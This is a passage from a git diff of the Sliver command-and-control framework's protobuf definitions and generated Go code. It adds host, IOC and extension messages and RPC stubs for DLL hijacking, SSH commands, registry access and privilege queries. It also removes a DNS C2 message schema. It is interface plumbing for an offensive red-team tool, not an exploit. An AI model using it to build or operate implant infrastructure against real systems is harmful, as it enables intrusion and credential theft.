0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43,
|
||||
0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43,
|
||||
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a,
|
||||
0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00,
|
||||
0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52,
|
||||
0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69,
|
||||
0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c,
|
||||
0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12,
|
||||
0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74,
|
||||
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
|
||||
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
|
||||
0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -5004,7 +5290,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
|
||||
}
|
||||
|
||||
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 64)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 69)
|
||||
var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(OutputFormat)(0), // 0: clientpb.OutputFormat
|
||||
(StageProtocol)(0), // 1: clientpb.StageProtocol
|
||||
@@ -5072,17 +5358,22 @@ var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(*Credential)(nil), // 63: clientpb.Credential
|
||||
(*Loot)(nil), // 64: clientpb.Loot
|
||||
(*AllLoot)(nil), // 65: clientpb.AllLoot
|
||||
nil, // 66: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 67: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 68: clientpb.Website.ContentsEntry
|
||||
(*commonpb.Request)(nil), // 69: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 70: commonpb.Response
|
||||
(*commonpb.File)(nil), // 71: commonpb.File
|
||||
(*IOC)(nil), // 66: clientpb.IOC
|
||||
(*ExtensionData)(nil), // 67: clientpb.ExtensionData
|
||||
(*Host)(nil), // 68: clientpb.Host
|
||||
(*AllHosts)(nil), // 69: clientpb.AllHosts
|
||||
nil, // 70: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 71: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 72: clientpb.Website.ContentsEntry
|
||||
nil, // 73: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 74: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 75: commonpb.Response
|
||||
(*commonpb.File)(nil), // 76: commonpb.File
|
||||
}
|
||||
var file_clientpb_client_proto_depIdxs = []int32{
|
||||
7, // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
|
||||
0, // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
|
||||
66, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
70, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
0, // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
|
||||
10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
|
||||
11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
|
||||
@@ -5091,46 +5382,50 @@ var file_clientpb_client_proto_depIdxs = []int32{
|
||||
8, // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
|
||||
17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
|
||||
20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
|
||||
69, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
70, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
69, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
70, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
74, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
75, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
74, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
75, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
6, // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
|
||||
8, // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
71, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
69, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
69, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
76, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
74, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
74, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
1, // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
1, // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
71, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
76, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
8, // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
|
||||
69, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
74, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
8, // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
69, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
69, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
69, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
74, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
74, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
74, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
|
||||
6, // 30: clientpb.Event.Session:type_name -> clientpb.Session
|
||||
20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
|
||||
53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
|
||||
56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
|
||||
67, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
68, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
71, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
72, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
|
||||
2, // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
|
||||
3, // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
|
||||
63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
|
||||
4, // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
|
||||
71, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
76, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
|
||||
8, // 43: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 44: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 45: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
46, // [46:46] is the sub-list for method output_type
|
||||
46, // [46:46] is the sub-list for method input_type
|
||||
46, // [46:46] is the sub-list for extension type_name
|
||||
46, // [46:46] is the sub-list for extension extendee
|
||||
0, // [0:46] is the sub-list for field type_name
|
||||
66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
|
||||
73, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
|
||||
8, // 46: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 47: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 48: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
67, // 49: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
50, // [50:50] is the sub-list for method output_type
|
||||
50, // [50:50] is the sub-list for method input_type
|
||||
50, // [50:50] is the sub-list for extension type_name
|
||||
50, // [50:50] is the sub-list for extension extendee
|
||||
0, // [0:50] is the sub-list for field type_name
|
||||
}
|
||||
|
||||
func init() { file_clientpb_client_proto_init() }
|
||||
@@ -5871,6 +6166,54 @@ func file_clientpb_client_proto_init() {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*IOC); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*ExtensionData); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*Host); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*AllHosts); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
@@ -5878,7 +6221,7 @@ func file_clientpb_client_proto_init() {
|
||||
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
|
||||
RawDescriptor: file_clientpb_client_proto_rawDesc,
|
||||
NumEnums: 5,
|
||||
NumMessages: 64,
|
||||
NumMessages: 69,
|
||||
NumExtensions: 0,
|
||||
NumServices: 0,
|
||||
},
|
||||
|
||||
@@ -43,6 +43,7 @@ message Session {
|
||||
string ProxyURL = 20;
|
||||
uint32 PollInterval = 21;
|
||||
bool Burned = 22;
|
||||
repeated string Extensions = 23;
|
||||
}
|
||||
|
||||
message ImplantC2 {
|
||||
@@ -274,6 +275,7 @@ message UpdateSession {
|
||||
string Name = 2;
|
||||
int32 ReconnectInterval = 3;
|
||||
int32 PollInterval = 4;
|
||||
repeated string Extensions = 5;
|
||||
}
|
||||
|
||||
message GenerateReq {
|
||||
@@ -496,3 +498,27 @@ message Loot {
|
||||
message AllLoot {
|
||||
repeated Loot Loot = 1;
|
||||
}
|
||||
|
||||
// [ Hosts ] ----------------------------------------
|
||||
message IOC {
|
||||
string Path = 1;
|
||||
string FileHash = 2;
|
||||
string ID = 3;
|
||||
}
|
||||
|
||||
message ExtensionData {
|
||||
string Output = 1;
|
||||
}
|
||||
|
||||
message Host {
|
||||
string Hostname = 1;
|
||||
string HostUUID = 2;
|
||||
string OSVersion = 3;
|
||||
|
||||
repeated IOC IOCs = 4;
|
||||
map<string, ExtensionData> ExtensionData = 5;
|
||||
}
|
||||
|
||||
message AllHosts {
|
||||
repeated Host Hosts = 1;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.15.8
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,255 +0,0 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
import (
|
||||
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
|
||||
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
|
||||
reflect "reflect"
|
||||
sync "sync"
|
||||
)
|
||||
|
||||
const (
|
||||
// Verify that this generated code is sufficiently up-to-date.
|
||||
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
|
||||
// Verify that runtime/protoimpl is sufficiently up-to-date.
|
||||
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
|
||||
)
|
||||
|
||||
type DNSMessageType int32
|
||||
|
||||
const (
|
||||
DNSMessageType_NOP DNSMessageType = 0
|
||||
DNSMessageType_DOMAIN_KEY DNSMessageType = 1
|
||||
DNSMessageType_SESSION_INIT DNSMessageType = 2
|
||||
DNSMessageType_SESSION_POLL DNSMessageType = 3
|
||||
DNSMessageType_BLOCK_PREAMBLE DNSMessageType = 7
|
||||
DNSMessageType_BLOCK_DATA DNSMessageType = 8
|
||||
DNSMessageType_BLOCK_CLEAR DNSMessageType = 9
|
||||
)
|
||||
|
||||
// Enum value maps for DNSMessageType.
|
||||
var (
|
||||
DNSMessageType_name = map[int32]string{
|
||||
0: "NOP",
|
||||
1: "DOMAIN_KEY",
|
||||
2: "SESSION_INIT",
|
||||
3: "SESSION_POLL",
|
||||
7: "BLOCK_PREAMBLE",
|
||||
8: "BLOCK_DATA",
|
||||
9: "BLOCK_CLEAR",
|
||||
}
|
||||
DNSMessageType_value = map[string]int32{
|
||||
"NOP": 0,
|
||||
"DOMAIN_KEY": 1,
|
||||
"SESSION_INIT": 2,
|
||||
"SESSION_POLL": 3,
|
||||
"BLOCK_PREAMBLE": 7,
|
||||
"BLOCK_DATA": 8,
|
||||
"BLOCK_CLEAR": 9,
|
||||
}
|
||||
)
|
||||
|
||||
func (x DNSMessageType) Enum() *DNSMessageType {
|
||||
p := new(DNSMessageType)
|
||||
*p = x
|
||||
return p
|
||||
}
|
||||
|
||||
func (x DNSMessageType) String() string {
|
||||
return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
|
||||
}
|
||||
|
||||
func (DNSMessageType) Descriptor() protoreflect.EnumDescriptor {
|
||||
return file_dnspb_dns_proto_enumTypes[0].Descriptor()
|
||||
}
|
||||
|
||||
func (DNSMessageType) Type() protoreflect.EnumType {
|
||||
return &file_dnspb_dns_proto_enumTypes[0]
|
||||
}
|
||||
|
||||
func (x DNSMessageType) Number() protoreflect.EnumNumber {
|
||||
return protoreflect.EnumNumber(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DNSMessageType.Descriptor instead.
|
||||
func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
|
||||
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
N uint32 `protobuf:"varint,3,opt,name=N,proto3" json:"N,omitempty"`
|
||||
Size uint32 `protobuf:"varint,4,opt,name=Size,proto3" json:"Size,omitempty"`
|
||||
Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DNSMessage) Reset() {
|
||||
*x = DNSMessage{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_dnspb_dns_proto_msgTypes[0]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DNSMessage) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DNSMessage) ProtoMessage() {}
|
||||
|
||||
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_dnspb_dns_proto_msgTypes[0]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DNSMessage.ProtoReflect.Descriptor instead.
|
||||
func (*DNSMessage) Descriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetType() DNSMessageType {
|
||||
if x != nil {
|
||||
return x.Type
|
||||
}
|
||||
return DNSMessageType_NOP
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetID() uint32 {
|
||||
if x != nil {
|
||||
return x.ID
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetN() uint32 {
|
||||
if x != nil {
|
||||
return x.N
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetSize() uint32 {
|
||||
if x != nil {
|
||||
return x.Size
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetData() []byte {
|
||||
if x != nil {
|
||||
return x.Data
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var File_dnspb_dns_proto protoreflect.FileDescriptor
|
||||
|
||||
var file_dnspb_dns_proto_rawDesc = []byte{
|
||||
0x0a, 0x0f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2f, 0x64, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x12, 0x05, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x22, 0x7d, 0x0a, 0x0a, 0x44, 0x4e, 0x53, 0x4d,
|
||||
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53,
|
||||
0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70,
|
||||
0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49,
|
||||
0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12,
|
||||
0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53,
|
||||
0x69, 0x7a, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28,
|
||||
0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d,
|
||||
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f,
|
||||
0x50, 0x10, 0x00, 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x4f, 0x4d, 0x41, 0x49, 0x4e, 0x5f, 0x4b, 0x45,
|
||||
0x59, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x5f, 0x49,
|
||||
0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e,
|
||||
0x5f, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x12, 0x0a, 0x0e, 0x42, 0x4c, 0x4f, 0x43, 0x4b,
|
||||
0x5f, 0x50, 0x52, 0x45, 0x41, 0x4d, 0x42, 0x4c, 0x45, 0x10, 0x07, 0x12, 0x0e, 0x0a, 0x0a, 0x42,
|
||||
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x44, 0x41, 0x54, 0x41, 0x10, 0x08, 0x12, 0x0f, 0x0a, 0x0b, 0x42,
|
||||
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c, 0x5a, 0x2a,
|
||||
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
|
||||
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
file_dnspb_dns_proto_rawDescOnce sync.Once
|
||||
file_dnspb_dns_proto_rawDescData = file_dnspb_dns_proto_rawDesc
|
||||
)
|
||||
|
||||
func file_dnspb_dns_proto_rawDescGZIP() []byte {
|
||||
file_dnspb_dns_proto_rawDescOnce.Do(func() {
|
||||
file_dnspb_dns_proto_rawDescData = protoimpl.X.CompressGZIP(file_dnspb_dns_proto_rawDescData)
|
||||
})
|
||||
return file_dnspb_dns_proto_rawDescData
|
||||
}
|
||||
|
||||
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
|
||||
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
|
||||
var file_dnspb_dns_proto_goTypes = []interface{}{
|
||||
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
|
||||
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
|
||||
}
|
||||
var file_dnspb_dns_proto_depIdxs = []int32{
|
||||
0, // 0: dnspb.DNSMessage.Type:type_name -> dnspb.DNSMessageType
|
||||
1, // [1:1] is the sub-list for method output_type
|
||||
1, // [1:1] is the sub-list for method input_type
|
||||
1, // [1:1] is the sub-list for extension type_name
|
||||
1, // [1:1] is the sub-list for extension extendee
|
||||
0, // [0:1] is the sub-list for field type_name
|
||||
}
|
||||
|
||||
func init() { file_dnspb_dns_proto_init() }
|
||||
func file_dnspb_dns_proto_init() {
|
||||
if File_dnspb_dns_proto != nil {
|
||||
return
|
||||
}
|
||||
if !protoimpl.UnsafeEnabled {
|
||||
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DNSMessage); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
File: protoimpl.DescBuilder{
|
||||
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
|
||||
RawDescriptor: file_dnspb_dns_proto_rawDesc,
|
||||
NumEnums: 1,
|
||||
NumMessages: 1,
|
||||
NumExtensions: 0,
|
||||
NumServices: 0,
|
||||
},
|
||||
GoTypes: file_dnspb_dns_proto_goTypes,
|
||||
DependencyIndexes: file_dnspb_dns_proto_depIdxs,
|
||||
EnumInfos: file_dnspb_dns_proto_enumTypes,
|
||||
MessageInfos: file_dnspb_dns_proto_msgTypes,
|
||||
}.Build()
|
||||
File_dnspb_dns_proto = out.File
|
||||
file_dnspb_dns_proto_rawDesc = nil
|
||||
file_dnspb_dns_proto_goTypes = nil
|
||||
file_dnspb_dns_proto_depIdxs = nil
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
syntax = "proto3";
|
||||
package dnspb;
|
||||
option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
|
||||
|
||||
enum DNSMessageType {
|
||||
NOP = 0; // aka FINGERPRINT
|
||||
DOMAIN_KEY = 1;
|
||||
SESSION_INIT = 2;
|
||||
SESSION_POLL = 3;
|
||||
|
||||
BLOCK_PREAMBLE = 7;
|
||||
BLOCK_DATA = 8;
|
||||
BLOCK_CLEAR = 9;
|
||||
}
|
||||
|
||||
message DNSMessage {
|
||||
DNSMessageType Type = 1;
|
||||
uint32 ID = 2;
|
||||
uint32 N = 3;
|
||||
uint32 Size = 4;
|
||||
bytes Data = 5;
|
||||
}
|
||||
|
||||
+640
-566
File diff suppressed because it is too large.
Load diff
@@ -47,6 +47,12 @@ service SliverRPC {
|
||||
rpc LootAll(commonpb.Empty) returns(clientpb.AllLoot);
|
||||
rpc LootAllOf(clientpb.Loot) returns(clientpb.AllLoot);
|
||||
|
||||
// *** Hosts ***
|
||||
rpc Hosts(commonpb.Empty) returns(clientpb.AllHosts);
|
||||
rpc Host(clientpb.Host) returns(clientpb.Host);
|
||||
rpc HostRm(clientpb.Host) returns(commonpb.Empty);
|
||||
rpc HostIOCRm(clientpb.IOC) returns(commonpb.Empty);
|
||||
|
||||
// *** Implants ***
|
||||
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
|
||||
rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
|
||||
@@ -112,8 +118,15 @@ service SliverRPC {
|
||||
rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
|
||||
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
|
||||
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
|
||||
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
|
||||
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
// Extensions
|
||||
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
|
||||
rpc CallExtension(sliverpb.CallExtensionReq) returns (sliverpb.CallExtension);
|
||||
rpc ListExtensions(sliverpb.ListExtensionsReq) returns (sliverpb.ListExtensions);
|
||||
|
||||
// *** Wireguard Specific ***
|
||||
rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);
|
||||
|
||||
@@ -51,6 +51,11 @@ type SliverRPCClient interface {
|
||||
LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error)
|
||||
LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
|
||||
